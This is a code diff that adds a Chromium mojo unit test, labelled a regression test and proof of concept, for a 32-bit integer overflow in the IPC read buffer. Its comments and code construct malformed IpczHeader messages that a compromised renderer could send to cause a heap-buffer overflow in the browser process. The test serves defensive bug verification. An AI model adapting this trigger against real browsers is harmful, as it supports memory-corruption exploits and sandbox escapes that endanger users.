diff --git a/mojo/core/channel_unittest.cc b/mojo/core/channel_unittest.cc index 79def52c1a626..f7429f1434d59 100644 --- a/mojo/core/channel_unittest.cc +++ b/mojo/core/channel_unittest.cc @@ -7,6 +7,13 @@ #include #include +#include "build/build_config.h" +#if BUILDFLAG(IS_POSIX) +#include + +#include "base/posix/eintr_wrapper.h" +#endif + #include "base/compiler_specific.h" #include "base/containers/heap_array.h" #include "base/functional/bind.h" @@ -988,4 +995,125 @@ TEST(ChannelTest, TryDispatchMessageWithEnvelope) { channel->ShutDown(); } +#if BUILDFLAG(IS_POSIX) +// Regression test / POC for a 32-bit size_t overflow in +// Channel::ReadBuffer::Reserve(). A peer that controls the raw transport socket +// (i.e. a compromised renderer) can send an IpczHeader with num_bytes near +// UINT32_MAX. On 32-bit targets the resulting size_hint is fed back into +// Reserve() where `num_occupied_bytes_ + num_bytes` wraps below `size_`, +// skipping the grow branch and returning a pointer past the end of the 4096- +// byte HeapArray. The subsequent recvmsg() then writes attacker-controlled +// bytes past the allocation in the receiving (browser) process. +// +// On 64-bit builds this test exercises the same code path but the addition +// cannot wrap (uint32_t into size_t), so Reserve() simply attempts to grow the +// buffer to ~4 GiB. +// +// Expected on 32-bit ASAN: heap-buffer-overflow WRITE inside recvmsg(), called +// from SocketRecvmsg -> ChannelPosix::OnFdReadable. +TEST(ChannelTest, IpczReadBufferReserveOverflow32Bit) { + // The delegate must outlive the task environment because OnChannelDestroyed + // is invoked during channel teardown. + CallbackIpczChannelDelegate receiver_delegate; + base::test::SingleThreadTaskEnvironment task_environment( + base::test::TaskEnvironment::MainThreadType::IO); + + PlatformChannel platform_channel; + + // The "browser" side: a real ChannelPosix/ChannelLinux running on the IO + // thread with an ipcz delegate so the IpczHeader path is taken. + scoped_refptr receiver = Channel::Create( + &receiver_delegate, + ConnectionParams(platform_channel.TakeLocalEndpoint()), + Channel::HandlePolicy::kAcceptHandles, + base::SingleThreadTaskRunner::GetCurrentDefault()); + receiver->Start(); + ASSERT_TRUE(receiver->is_for_ipcz()); + + // The "compromised renderer" side: take the raw socket FD so we can write + // arbitrary bytes that bypass the normal Channel::Message framing. + base::ScopedFD attacker_fd = + platform_channel.TakeRemoteEndpoint().TakePlatformHandle().TakeFD(); + ASSERT_TRUE(attacker_fd.is_valid()); + + // Construct the 4096-byte first read. The receiver's initial Reserve(4096) + // returns a buffer of exactly 4096 bytes; recvmsg() will fill it completely + // because we queue more than 4096 bytes on the socket, satisfying the + // `bytes_read == buffer_capacity` continuation gate. + constexpr size_t kFirstReadSize = 4096; + std::vector first_read(kFirstReadSize, 0); + + // Message A at offset 0: minimal valid IpczHeader, num_bytes = 8. + // After dispatch, Discard(8) sets num_discarded_bytes_=8 (no compaction, + // since 8 <= kMaxUnusedReadBufferCapacity, and 8 != num_occupied_bytes_). + // The remaining occupied span starts at data_+8, which is still 8-byte + // aligned, so Realign() is not triggered. + { + auto* h = UNSAFE_TODO( + reinterpret_cast(first_read.data())); + h->size = static_cast(Channel::Message::kMinIpczHeaderSize); + h->num_handles = 0; + h->num_bytes = static_cast(Channel::Message::kMinIpczHeaderSize); + } + + // Message B at offset 8: IpczHeader with num_bytes = 0xFFFFFFFF. + // TryDispatchMessage on the 4088-byte tail computes + // size_hint = 0xFFFFFFFF - 4088 = 0xFFFFF007 + // and returns kNotEnoughData. On the next loop iteration GetReadBuffer -> + // Reserve(0xFFFFF007) is called with num_occupied_bytes_=4096; on 32-bit + // size_t the sum wraps to 7, the grow branch is skipped, and the returned + // pointer is data_+4096 (one past the end of the 4096-byte allocation). + { + auto* h = UNSAFE_TODO(reinterpret_cast( + first_read.data() + Channel::Message::kMinIpczHeaderSize)); + h->size = static_cast(Channel::Message::kMinIpczHeaderSize); + h->num_handles = 0; + h->num_bytes = 0xFFFFFFFFu; + } + + // Overflow payload: bytes that recvmsg() writes past the 4096-byte HeapArray + // allocation on iteration 2 (on 32-bit). 64 KiB is well within typical + // AF_UNIX socket buffer limits. + constexpr size_t kOverflowPayloadSize = 64 * 1024; + std::vector overflow_payload(kOverflowPayloadSize, 0x41); + + // Send everything in one write so the kernel has > 4096 bytes queued before + // the receiver's first recvmsg() call. + std::vector wire; + wire.reserve(kFirstReadSize + kOverflowPayloadSize); + wire.insert(wire.end(), first_read.begin(), first_read.end()); + wire.insert(wire.end(), overflow_payload.begin(), overflow_payload.end()); + ssize_t written = + HANDLE_EINTR(write(attacker_fd.get(), wire.data(), wire.size())); + ASSERT_GT(written, static_cast(kFirstReadSize)); + + // Drive the IO loop so ChannelPosix::OnFdReadable runs both iterations. + // The first iteration dispatches message A (empty payload), which we use to + // confirm the read path was reached. The overflow happens synchronously in + // the same OnFdReadable() invocation, on the second loop iteration, before + // control returns here. On 32-bit ASAN this is where the + // heap-buffer-overflow WRITE fires. + bool dispatched_first_message = false; + base::RunLoop run_loop; + receiver_delegate.set_on_message(base::BindLambdaForTesting( + [&](const void* payload, size_t payload_size, + scoped_refptr envelope) { + dispatched_first_message = true; + // Do not quit yet: the overflow occurs after this returns, still + // inside the same OnFdReadable() call. Post the quit so the loop + // exits after OnFdReadable() unwinds. + base::SingleThreadTaskRunner::GetCurrentDefault()->PostTask( + FROM_HERE, run_loop.QuitClosure()); + })); + run_loop.Run(); + EXPECT_TRUE(dispatched_first_message); + + // On 64-bit, no overflow occurs and the channel grew its buffer to ~4 GiB. + // Reaching this line on 64-bit just shows the path was exercised. On 32-bit + // ASAN, execution never reaches here. + receiver->ShutDown(); + base::RunLoop().RunUntilIdle(); +} +#endif // BUILDFLAG(IS_POSIX) + } // namespace mojo::core